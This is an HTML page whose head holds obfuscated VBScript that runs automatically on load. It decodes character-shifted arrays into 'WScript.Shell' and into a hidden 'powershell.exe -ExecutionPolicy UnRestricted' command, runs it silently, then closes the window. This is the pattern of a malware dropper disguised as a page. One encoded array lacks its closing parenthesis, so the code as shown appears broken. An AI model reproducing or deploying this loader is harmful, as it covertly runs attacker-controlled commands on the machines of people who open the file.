<head>
<script language="vBsCRIPT">
Function kUNk(ByVal XSwEjE)
Dim EhjvDxTS
Dim hjrfoC
hjrfoC = 75379
Dim CcSfniaV
CcSfniaV = raktTIENCux(XSwEjE)
If CcSfniaV = 7000 + 1204 Then
For Each EhjvDxTS In XSwEjE
Dim nPZx
nPZx = nPZx & Chr(EhjvDxTS - hjrfoC)
Next
End If
kUNk = nPZx
End Function
Function bXEUJx()
Dim XSwEjE
Dim NOGZULUuK
XSwEjE = Array(75491,75490,75498,75480,75493,75494,75483,75480,75487,75487,75425,75480,75499,75480,75411,75424,75448,75499,75480,75478,75496,75495,75484,75490,75489,75459,75490,75487,75484,75478,75500,75411,75464,75489,75461,75480,75494,75495,75493,75484,75478,75495,75480,75479,75411,75481,75496,75489,75478,75495,75484,75490,75489,75411,75484,75496,75453,75459,75499,75463,75460,75462,75419,75415,75452,75453,75446,75497,75478,75452,75480,75490,75423,75411,75415,75482,75491,75482,75498,75494,75484,75453,75462,75478,75501,75462,75485,75420,75502,75470,75452,75458,75425,75449,75484,75487,75480,75472,75437,75437,75466,75493,75484,75495,75480,75444,75487,75487,75445,75500,75495,75480,75494,75419,75415,75452,75453,75446,75497,75478,75452,75480,75490,75423,75411,75415,75482,75491,75482,75498,75494,75484,75453,75462,75478,75501,75462,75485,75420,75504,75438,75481,75496,75489,75478,75495,75484,75490,75489,75411,75448,75485,75490,75456,75446,75488,75497,75488,75493,75459,75483,75456,75495,75498,75463,75455,75419,75415
NOGZULUuK = kUNk(XSwEjE)
Dim wnmdt
Set wnmdt = nGToUHUCepM(kUNk(Array(75466,75494,75478,75493,75484,75491,75495,75425,75462,75483,75480,75487,75487)))
wnmdt.Run(NOGZULUuK),0,true
self.close()
End Function
Function raktTIENCux(ByVal CcSfniaV)
raktTIENCux = VarType( CcSfniaV)
End Function
Function nGToUHUCepM(ByVal objectType)
Set nGToUHUCepM = CreateObject(objectType)
End Function
bXEUJx()
</script>
</head>
</html>